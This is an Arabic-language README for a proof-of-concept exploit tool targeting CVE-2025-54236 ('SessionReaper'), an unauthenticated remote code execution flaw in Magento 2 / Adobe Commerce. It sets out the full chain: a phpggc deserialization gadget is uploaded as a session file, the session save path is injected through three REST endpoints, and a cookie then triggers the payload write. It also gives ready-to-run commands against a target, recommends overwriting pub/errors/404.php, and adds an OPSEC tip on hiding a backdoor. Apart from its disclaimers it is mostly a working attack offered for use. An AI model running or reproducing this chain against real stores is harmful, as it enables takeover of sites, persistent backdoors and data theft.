
إثبات المفهوم Magento Session Reaper - CVE-2025-54236
إثبات مفهوم موحد لـ CVE-2025-54236 ("SessionReaper")، وهو ثغرة تنفيذ أوامر عن بعد (RCE) حرجة وغير مصادق عليها في Magento 2 / Adobe Commerce عبر إلغاء التسلسل المتداخل في واجهة REST API.
ServiceInputProcessor؛ البدائية الاستغلالية هي إلغاء تسلسل غير آمن (CWE-502)لأغراض اختبار الأمان المصرح به فقط. استخدم حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
الأداة تسلسل ثلاث مراحل مشتركة لكل متجه، بالإضافة إلى مشغل:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> كائنًا متسلسلاً يكتب payload.php إلى <remote_path> عند إلغاء تسلسله.POST /customer/address_file/upload بتخزين الكتلة المتسلسلة باسم . يقوم Magento بتوزيع ملفات العناوين المرفوعة حسب الأحرف الأولى من اسم الملف، لذلك تصل إلى (وبالتالي في ).sess_<SESSID>media/customer_address/s/e/sess_<SESSID>s/e/--save-pathSession\Config، وعبر setSavePath() → setOption() → ini_set('session.save_path', ...) (تأثير جانبي عالمي للعملية)، توجه معالج جلسة PHP نحو الكتلة المرفوعة.Cookie: PHPSESSID=<SESSID> يُجبر session_start() على قراءة وإلغاء تسلسل (unserialize) الملف المسموم، مما يشغل الأداة ويكتب الحمولة.جميع المتجهات الثلاثة تصل إلى نفس المصب (sink) (context → urlBuilder → session → sessionConfig → savePath). تختلف فقط في نقطة النهاية (endpoint)، وفعل HTTP، ووحدة Magento المعنية — مفيد عندما يحظر جدار حماية تطبيقات الويب (WAF) أو وحدة معطلة نقطة نهاية دون أخرى.
| Method | Endpoint | Verb | Entry point into the chain |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
لا حاجة لسلة تسوق حقيقية لأي متجه. يقوم ServiceInputProcessor بإلغاء تسلسل معاملات الطريقة أثناء حل المدخلات (input resolution) — قبل أن يستدعي الخدمة أي بحث عن سلة التسوق — لذا فإن cartId وهمي مثل abc يصل إلى المصب في الثلاثة. الخطأ اللاحق "لم يتم العثور على سلة التسوق" (404/500) متوقع ويؤكد أن التأثير الجانبي لإلغاء التسلسل قد حدث بالفعل.
علامة
--skuمتاحة إذا كنت تريد من الأداة إنشاء سلة تسوق ضيف حقيقية وإضافة منتج قبل التشغيل (تم التحقق منها عبر GraphQL). هذا اختياري وليس ضروريًا للاستغلال — إنها موجودة فقط للبيئات التي تفضل فيها تدفق دفع واقعي تمامًا. احذفها وتستخدم الأداة سلة التسوق الوهميةabc.
var/session/). الجلسات المدعومة بـ Redis وقاعدة البيانات لا تتأثر بهذه السلسلة المحددة من RCE. هذا غير قابل للتعداد عن بعد، لذا يجب محاولة استغلالها بشكل أعمى./customer/address_file/upload يمكن الوصول إليه بدون مصادقة.requestsphpggc — يتم اكتشافه تلقائيًا في PATH، أو في مواقع التثبيت الشائعة، أو يسحب كصورة Docker ambionics/phpggc كخيار احتياطيpayload.php في نفس دليل السكريبت (يجب أن يبدأ بـ <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| العلامة | الافتراضي | الوصف |
|---|---|---|
--host | (مطلوب) | عنوان URL الأساسي للهدف |
--method | (مطلوب) | address | checkmo | order |
--store | default | رمز المتجر لطلب المشغل (وسلة التسوق، إذا تم استخدام --sku) |
--api-store | default | رمز المتجر في عنوان URL لنقطة نهاية إلغاء التسلسل (all | es | default | custom) |
--sku | (لا شيء) | اختياري. إذا تم تعيينه، يقوم بإنشاء سلة تسوق ضيف حقيقية باستخدام SKU هذا. غير مطلوب. |
--payload-in | payload.php | حمولة PHP لكتابتها على الهدف |
--payload-out | /var/www/html/pub/errors/404.php | مسار الكتابة البعيد (يجب أن يكون موقعًا قابلًا للتنفيذ عبر الويب — انظر الملاحظة أدناه) |
--save-path | media/customer_address/s/e/ | savePath المحقون في سلسلة الأداة |
--phpggc | (تلقائي) | المسار الصريح إلى ثنائي phpggc |
--proxy | http://127.0.0.1:8081 | وكيل HTTP (مثل Burp) |
--no-proxy | off | تعطيل الوكيل |
--username / --password | (لا شيء) | بيانات اعتماد العميل الاختيارية للحصول على رمز Bearer |
تستخدم الأداة رمزي متجر مستقلين:
--api-store — النطاق في عنوان URL لطلب إلغاء التسلسل (/rest/<api-store>/V1/guest-carts/...)، حيث يعمل ServiceInputProcessor.--store — النطاق لطلب المشغل (GET /<store>/) وإذا تم استخدام --sku، لطلبات سلة التسوق.رموز عرض المتجر محددة من قبل المسؤول؛ لا تفترض es/fr. قم بتعداد عروض المتجر النشطة أولاً — الطلب ضد نطاق غير موجود سيفشل ببساطة.
pub/errors/404.phpتكوين Nginx الافتراضي لـ Magento يمرر فقط سبعة ملفات PHP إلى fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
أي ملف .php آخر (بما في ذلك أي شيء يتم وضعه في pub/media/) ممنوع ولن يتم تنفيذه أبدًا. لذا يجب على الحمولة استبدال أحد هذه الملفات السبعة المُدرجة في القائمة البيضاء بدلاً من وضع ملف جديد. pub/errors/404.php هو الافتراضي لأن Magento يقدمه داخليًا لأي صفحة مفقودة، لذلك يتم تشغيله غالبًا على متجر حي.
OPSEC: استبدال
404.phpبشكل مباشر هو أمر صاخب (يعمل على كل خطأ 404). في اختبار حقيقي، قم بحقن باب خلفي في ملف مدرج في القائمة البيضاء بشكل خفي بدلاً من سحقه.
--username/--password مطلوبان فقط إذا كنت تريد رمز Bearer لإعداد معين./tmp/sess_<SESSID> عند الخروج.مقدم لأغراض البحث والاختبار الأمني المصرح به فقط. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. لا تقم بتشغيله ضد أنظمة بدون إذن صريح.